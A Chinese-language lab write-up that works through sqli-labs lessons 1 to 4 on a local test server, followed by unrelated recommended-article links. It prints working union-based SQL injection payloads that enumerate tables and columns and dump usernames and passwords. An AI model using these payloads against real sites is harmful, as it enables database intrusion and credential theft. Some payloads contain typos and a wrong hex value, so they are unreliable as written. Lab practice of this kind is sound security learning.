写在前面:

  前四关基本都是基于GET的SQL注入

  在Mysql中有一个系统数据库information_schema,存储着所有数据库的相关信息,一般利用这个数据库进行SQL注入。

  因为大部分的注入需要URL编码,这里列举了常用保留字符的URL编码:

LESSON  1:

  1.首先判断注入类型:

  先输入 id=1' 即 id = 1%27试试,出现了关于单引号的匹配出现了问题所以报错,说明我们添加的单引号被数据库解析,那么可能是字符型注入,我们可以通过闭合单引号让数据库执行我们输入的数据库语句进行攻击。

  

  尝试输入 id = 1' and '1' = '1 #  查询成功!

  

  尝试输入 id = 1' and '1'='2 #  查询失败,至此确定是字符型注入

  

2.确定有几个字段。

  一般用order by语句,可以用折半查找法进行快速猜解。

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 2 %23  执行成功

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23  执行成功

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 %23  执行失败

  

  说明一共有3个显示字段。因为SQL语句的执行结果只有第一行会回显到页面上,所以我们要把原始语句的结果集变为空,这样我们想要的结果才能显示在界面上,之后需要查询那几个字段会被显示在页面上:

  执行语句:id = 0' union select 1,2,3 %23

  这里需要找一个不在数据库的id值,我用的是0,当然什么9999啊之类的也可以...

  判断出显示的字段只有2,3 (这里注意用%23代替#来避免与URL本身的锚点冲突)

  

  利用 user(),version(),database()函数获取数据库用户,版本,和所连接的数据库名

  这里嗨利用的concat_ws()函数,这个函数的定义是concat_ws(separator,str1,str2) 函数 用分隔符separator连接两个字符串str1和str2,例如 分隔符为-  就实现了str1-str2

  我这里用的是下划线_ :

  

  数据库名为 security。

  接下来获取security这个数据库中有哪些数据表:

  写一下关于group_concat()函数:

  这个函数的定义是:group_concat(str1,str2) 函数  将多行查询结果以逗号分隔全部输出。也就是所有的内容都会输出,concat_ws()只会连接几个字符,比如参数是str1 str2 分隔符为, 那么最后输出结果就只是 str1 , str2

  id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

  

  那么大概率用户名和密码会在users这个数据表中

  接下来爆列:

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

这里推荐将‘users’ 用十六进制表示,可以防止转义 ' 带来的麻烦 (‘users’的十六进制表示为:0x7365637572697479)

  

  获取username和password即可。还用之前使用的concat_ws函数和group_concat函数即可:

    这里写一下:

  group_concat(concat_ws(seperator,str1,str2)) 函数
  将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔

  id=0' union select 1,group_concat(concat_ws('-',username,password)),3 from 'users' %23  

  

  完成!

  

LESSON 2 :

    首先还是先判断注入类型

   我依次输入了 id=1 执行成功, id=1 and 1=1 执行成功,

     id=1 and 1=2 出错 没有查出东西,所以推断这是 数字型注入。

  

  接下来还是常规操作,因为没有单引号限制,不需要闭合单引号了。

  查询有几个字段,可以回显的字段有哪些。 可以参考第一关。

  可以看到还是只有3个字段。

  

  查询哪几个字段可以回显出来:(这里依然还是要注意找一个不存在的id值,否则数据库无法执行后面union select语句)

  

  回显的还是第2,3个字段...

  那接下来还是参考lesson 1的操作,获取数据库名,获取数据库所有的表名,获取可能存有用户名和密码所在数据表的所有列,获取所需的用户名和密码信息。步骤基本与lesson 1一致 我就不详细赘述了,下面附上每一步的截图和所需语句(截图中有)。

  获取所连接数据库名,用户,和版本(表名:security)

  

  获取数据库中所有的表:

  id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

  

  获取users表中的所有列:

  id=0 union select 1,group_concat(column_name),3 from infomation_schema.columns where table_name = 'users' %23

    

  同样的,假设我们还是只要用户名和密码的话还是获取username和password:

  id=0 union select 1,group_concat(concat_ws('-',username,password)),3 from users %23

  

完成!

  

 

LESSON 3:

  还是先判断是什么注入类型:

  输入id=1' 报错 。根据提示可以猜到 应该是单引号加括号包裹参数

  其SQL语句应该是 select * from * where id=('$id')LIMIT 0,1

  那思路还是和lesson 1差不多  闭合‘) 构造SQL注入语句

  

  猜解有几个字段回显并且分别是第几个:

  id=1') order by 3 %23 执行成功

  id=1') order by 4 %23 出错  所以还是3个字段

   

  查看回显字段:

  id=0') union selcet 1,2,3 %23

  

  获取所连数据库名:

  id=0') union select 1,database(),3 %23

  

 爆表:

  id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

  

  爆列:

  id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

  

获取用户名密码:

 id=0') union select 1,group_concat(concat_ws('-',username,password)),3 from users %23

 

完成!

  

LESSON 4:

  加单引号正常,加单引号和括号也正常,加双引号报错

  

  说明是双引号+括号包裹id参数(即id=(“$id”)),那么直接闭合双引号构造注入语句就OK,和上面基本一样。下面直接附上步骤截图,不再赘述。

  

  和之前回显字段也相同,直接闭合“)构造语句即可。

  获取数据库名、版本、用户:

  

  获取当前数据库内所有表名:

  

  获取users表内所有列:

  

  获取账户信息:

  

  

  

  

 

  

  

  

  

  

  

  

sqli-labs lesson1-4的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Doris开发手记3:利用CoreDump文件快速定位Doris的查询问题

    Apache Doris的BE部分是由C++编写,当出现一些内存越界,非法访问的问题时会导致BE进程的Crash.这部分的问题常常较难排查,同时也很难快速定位到对应的触发SQL,给使用者带来较大的困扰 ...

  2. yum的卸载和安装

    安装精髓:报错就查,少包就按. 一.如果yum没有注册则需要卸载再安装第三方yum 1.卸载redhat的默认安装yum包 [root@dsl ~]#rpm –qa | grep yum [root@ ...

  3. UI自动化测试框架Gauge 碰到无法识别Undefined Steps 红色波纹标记

    如果碰到无法识别的情况,例如下面的红色波纹,可以试一下: 第一步: 第二步: 不勾选'offline work' 第三部:刷新之后可以重新编译.

  4. WSL2:在Windows系统中开发Linux程序的又一神器

    作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...

  5. ASP.NET保存图片到sql2008

    //将图片转行为二进制的方式,存储到数据库 string name = FileUpload1.PostedFile.FileName; string type = name.Substring(na ...

  6. PYTHON 当前.PY文件名不能与引入的模块同名

    当前文件名:sqlite3.py 文件引入import sqlite3 运行会出错,因为调用sqlite3的方法首先从当前文件找方法,当然找不到,所以会报错了

  7. JAVA程序系统测试感受

    JAVA课程才刚刚开始,就仿佛经历了一场劫难,让我们叫苦连天,苦不堪言.暑假学的一些皮毛java知识,到了真正需要写一个相对完整的软件系统,就如同废材一样,实在是用不上来.我看着小民哥布置的考试内容, ...

  8. Pandas高级教程之:自定义选项

    目录 简介 常用选项 get/set 选项 经常使用的选项 最大展示行数 超出数据展示 最大列的宽度 显示精度 零转换的门槛 列头的对齐方向 简介 pandas有一个option系统可以控制panda ...

  9. Three.js-任意平面的镜像矩阵

    1. 什么是镜像变换 直接看下面这张图: 这张图很好的诠释了镜像变化,关于y轴的变化,关于x轴的变化.这种关于任意轴的变化,就是镜像了. 2d下的镜像矩阵变化 我们以图像关于Y轴镜像为例子:原图形和结 ...

  10. DIV+css排版问题技巧总结---v客学院技术分享

                DIV+css排版问题技巧总结 一.排版思路 1.从上到下,从左到右,从大到小. 2.首先确定排版分区,排除色块分布,然后再从简单的部分开始. 3.在某一块内将HTML部分写好 ...